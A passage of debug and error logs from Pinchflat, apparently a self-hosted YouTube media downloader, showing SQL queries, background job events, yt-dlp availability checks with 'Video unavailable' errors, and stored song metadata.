QUERY OK source="media_items" db=0.3ms idle=167.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-30 10:08:29Z], 5] 22:20:39.349 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Y9oLpJIjNEU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/12/82/1282c198a3c0639a1357af2be2177167a124d4d18f3100a184aa05f50c651ea9.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] Y9oLpJIjNEU: Video unavailable. This video is not available 22:20:39.349 [error] yt-dlp download error for media item #356: "ERROR: [youtube] Y9oLpJIjNEU: Video unavailable. This video is not available\n" 22:20:39.350 [error] yt-dlp download will not be retried: "ERROR: [youtube] Y9oLpJIjNEU: Video unavailable. This video is not available\n" 22:20:39.362 [debug] QUERY OK source="media_items" db=139.2ms idle=168.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by DistroKid\n\nSILENCE THE WORLD (feat. Tom S. Englund) · Demon Hunter · Tom S. Englund\n\nSILENCE THE WORLD (feat. Tom S. Englund)\n\n℗ Weapons MFG\n\nReleased on: 2022-07-01\n\nAuto-generated by YouTube.", "SILENCE THE WORLD (feat. Tom S. Englund)", "0f6a1f58-7858-4ac5-b2b5-5353333f8be7", false, "rCNuqM93GbI", 434, false, "https://www.youtube.com/watch?v=rCNuqM93GbI", 42, "/downloads/ChristianMetal/ChristianMetal/2022-06-30SILENCE THE WORLD (feat. Tom S. Englund)[rCNuqM93GbI].m4a", false, false, 5, [], 1, ~U[2022-06-30 10:08:29Z], ~U[2026-07-24 02:20:39Z], ~U[2026-07-24 02:20:39Z], "Provided to YouTube by DistroKid\n\nSILENCE THE WORLD (feat. Tom S. Englund) · Demon Hunter · Tom S. Englund\n\nSILENCE THE WORLD (feat. Tom S. Englund)\n\n℗ Weapons MFG\n\nReleased on: 2022-07-01\n\nAuto-generated by YouTube.", "SILENCE THE WORLD (feat. Tom S. Englund)", "rCNuqM93GbI", 434, false, "https://www.youtube.com/watch?v=rCNuqM93GbI", "/downloads/ChristianMetal/ChristianMetal/2022-06-30SILENCE THE WORLD (feat. Tom S. Englund)[rCNuqM93GbI].m4a", false, 5, ~U[2022-06-30 10:08:29Z]] 22:20:39.383 [debug] Current batch of media processed. Will check again in 1000ms 22:20:39.465 [debug] QUERY OK source="sources" db=102.8ms idle=141.5ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-07-24 02:20:39Z], ~U[2026-07-24 02:20:39Z], 5] 22:20:39.467 [debug] QUERY OK source="media_items" db=1.1ms idle=244.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [5] 22:20:39.730 [info] {"args":{"id":119},"id":204,"meta":{},"system_time":1784859639730744305,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:20:39.731 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=261.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [119] 22:20:39.732 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:20:39.732 [debug] QUERY OK source="sources" db=0.3ms idle=150.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:39.968 [debug] QUERY OK source="tasks" db=385.5ms queue=0.2ms idle=116.8ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [204, 119, ~U[2026-07-24 02:20:39Z], ~U[2026-07-24 02:20:39Z]] 22:20:39.968 [info] {"args":{"id":356},"id":202,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":3292057,"event":"job:stop","queue_time":11877087,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:20:39.968 [debug] QUERY OK source="media_profiles" db=0.7ms queue=234.8ms idle=2.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:39.969 [debug] QUERY OK source="media_items" db=0.5ms idle=236.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [119] 22:20:40.115 [debug] QUERY OK source="media_metadata" db=145.5ms idle=1.5ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [119] 22:20:40.261 [info] {"args":{"id":121},"id":205,"meta":{},"system_time":1784859640261837685,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:20:40.262 [debug] QUERY OK source="media_items" db=0.2ms idle=146.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [121] 22:20:40.262 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:20:40.262 [debug] QUERY OK source="sources" db=0.1ms idle=146.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:40.416 [debug] QUERY OK source="media_profiles" db=300.4ms queue=0.2ms idle=34.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:40.417 [debug] QUERY OK source="tasks" db=301.5ms queue=34.3ms idle=111.6ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [205, 121, ~U[2026-07-24 02:20:40Z], ~U[2026-07-24 02:20:40Z]] 22:20:40.417 [debug] QUERY OK source="media_profiles" db=1.1ms queue=153.4ms idle=1.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:40.417 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "ChÆÆÆÆÆÆÆÆnge\nSneakily soft-launching my twitch in the description of this video like 2 years later: https://www.twitch.tv/vikasmusic\n\nI have been permanently demonetized from youtube so any support on patreon would be greatly appreciated", "duration" => 445, "filename" => "/downloads/Grift/Grift/2022-12-28Free Bird - Eurobeat Remix[xTemcPZw8Eo].m4a", "id" => "xTemcPZw8Eo", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=xTemcPZw8Eo", "playlist_index" => 1, "timestamp" => 1672232437, "title" => "Free Bird - Eurobeat Remix", "upload_date" => "20221228"} 22:20:40.417 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=154.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:40.418 [debug] Running yt-dlp command for action: get_downloadable_status 22:20:40.418 [debug] QUERY OK source="sources" db=0.6ms idle=0.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 22:20:40.418 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=1.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [121] 22:20:40.419 [debug] QUERY OK source="sources" db=0.4ms idle=1.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:20:40.419 [debug] QUERY OK source="media_items" db=0.2ms idle=0.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-12-28 13:00:37Z], 4] 22:20:40.523 [debug] QUERY OK source="settings" db=104.3ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:40.523 [debug] QUERY OK source="media_metadata" db=104.0ms idle=0.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [121] 22:20:40.524 [debug] QUERY OK source="settings" db=0.4ms idle=7.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:40.524 [debug] QUERY OK source="media_profiles" db=0.6ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:40.675 [debug] QUERY OK source="settings" db=150.5ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:40.675 [debug] QUERY OK source="media_items" db=255.5ms idle=0.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["ChÆÆÆÆÆÆÆÆnge\nSneakily soft-launching my twitch in the description of this video like 2 years later: https://www.twitch.tv/vikasmusic\n\nI have been permanently demonetized from youtube so any support on patreon would be greatly appreciated", "Free Bird - Eurobeat Remix", "6873bdb7-3e3a-4198-8a9c-8457e6c0233b", false, "xTemcPZw8Eo", 445, false, "https://www.youtube.com/watch?v=xTemcPZw8Eo", 1, "/downloads/Grift/Grift/2022-12-28Free Bird - Eurobeat Remix[xTemcPZw8Eo].m4a", false, false, 4, [], 1, ~U[2022-12-28 13:00:37Z], ~U[2026-07-24 02:20:40Z], ~U[2026-07-24 02:20:40Z], "ChÆÆÆÆÆÆÆÆnge\nSneakily soft-launching my twitch in the description of this video like 2 years later: https://www.twitch.tv/vikasmusic\n\nI have been permanently demonetized from youtube so any support on patreon would be greatly appreciated", "Free Bird - Eurobeat Remix", "xTemcPZw8Eo", 445, false, "https://www.youtube.com/watch?v=xTemcPZw8Eo", "/downloads/Grift/Grift/2022-12-28Free Bird - Eurobeat Remix[xTemcPZw8Eo].m4a", false, 4, ~U[2022-12-28 13:00:37Z]] 22:20:40.675 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9ZQGB0kOfW8 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/2b/5c/2b5c046e28aa1d9143ae4921718cb317cd434e91ed9d80f021702f32f22bd9f3.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:20:40.675 [debug] QUERY OK source="settings" db=0.5ms queue=0.2ms idle=150.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:40.676 [debug] QUERY OK source="sources" db=0.3ms idle=150.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:20:40.805 [debug] QUERY OK source="tasks" db=281.8ms queue=7.3ms idle=96.8ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [206, 169, ~U[2026-07-24 02:20:40Z], ~U[2026-07-24 02:20:40Z]] 22:20:40.806 [debug] Running yt-dlp command for action: get_downloadable_status 22:20:40.806 [debug] QUERY OK source="media_profiles" db=0.9ms queue=129.2ms idle=1.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:40.807 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=130.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [105] 22:20:40.807 [debug] Current batch of media processed. Will check again in 1000ms 22:20:41.018 [debug] QUERY OK source="settings" db=210.6ms queue=0.2ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:41.020 [debug] QUERY OK source="settings" db=1.4ms queue=0.2ms idle=211.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:41.157 [debug] QUERY OK source="tasks" db=138.6ms idle=211.7ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [207, 176, ~U[2026-07-24 02:20:41Z], ~U[2026-07-24 02:20:41Z]] 22:20:41.411 [debug] QUERY OK source="tasks" db=122.7ms idle=131.6ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [208, 179, ~U[2026-07-24 02:20:41Z], ~U[2026-07-24 02:20:41Z]] 22:20:41.752 [debug] QUERY OK source="tasks" db=145.8ms idle=194.9ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [209, 180, ~U[2026-07-24 02:20:41Z], ~U[2026-07-24 02:20:41Z]] 22:20:41.808 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Provided to YouTube by BMG Rights Management (US) LLC\n\nINVISIBLE · Duran Duran\n\nFUTURE PAST\n\n℗ 2021 Tape Modern under exclusive license to BMG Rights Management (US) LLC\n\nReleased on: 2022-02-11\n\nVocals, Producer: Simon Le Bon\nKeyboards, Producer: Nick Rhodes\nBass, Producer: John Taylor\nDrums, Producer: Roger Taylor\nGuitar: Graham Coxon\nProgrammer, Piano, Sound Engineer, String Arrangement: Joshua Blair\nBackground Vocals: BARLI\nProgrammer, Synthesizer, Producer: Erol Alkan\nSound Engineer: Mark Stent\nMixing Assistant: Matt Wolach\nSound Engineer: John Webber\nSound Engineer: Ritchie Kennedy\nSound Engineer: Tom Herbert\nSound Engineer: Ed Farrell\nComposer: Simon Le Bon\nComposer: Nick Rhodes\nComposer: John Taylor\nComposer: Roger Taylor\nComposer: Erol Alkan\n\nAuto-generated by YouTube.", "duration" => 191, "filename" => "/downloads/Grift/Grift/2022-02-10INVISIBLE[hChdmFBjH3s].m4a", "id" => "hChdmFBjH3s", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=hChdmFBjH3s", "playlist_index" => 2, "timestamp" => 1644487404, "title" => "INVISIBLE", "upload_date" => "20220210"} 22:20:42.002 [debug] QUERY OK source="tasks" db=128.6ms idle=118.9ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [210, 181, ~U[2026-07-24 02:20:41Z], ~U[2026-07-24 02:20:41Z]] 22:20:42.253 [debug] QUERY OK source="tasks" db=119.5ms queue=0.1ms idle=130.7ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [211, 184, ~U[2026-07-24 02:20:42Z], ~U[2026-07-24 02:20:42Z]] 22:20:42.522 [debug] QUERY OK source="tasks" db=121.5ms queue=0.1ms idle=146.2ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [212, 187, ~U[2026-07-24 02:20:42Z], ~U[2026-07-24 02:20:42Z]] 22:20:42.752 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9ZQGB0kOfW8 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/2b/5c/2b5c046e28aa1d9143ae4921718cb317cd434e91ed9d80f021702f32f22bd9f3.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] 9ZQGB0kOfW8: Video unavailable. This video is not available 22:20:42.752 [error] yt-dlp download error for media item #119: "ERROR: [youtube] 9ZQGB0kOfW8: Video unavailable. This video is not available\n" 22:20:42.850 [debug] QUERY OK source="sources" db=1041.5ms idle=56.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 22:20:42.753 [error] yt-dlp download will not be retried: "ERROR: [youtube] 9ZQGB0kOfW8: Video unavailable. 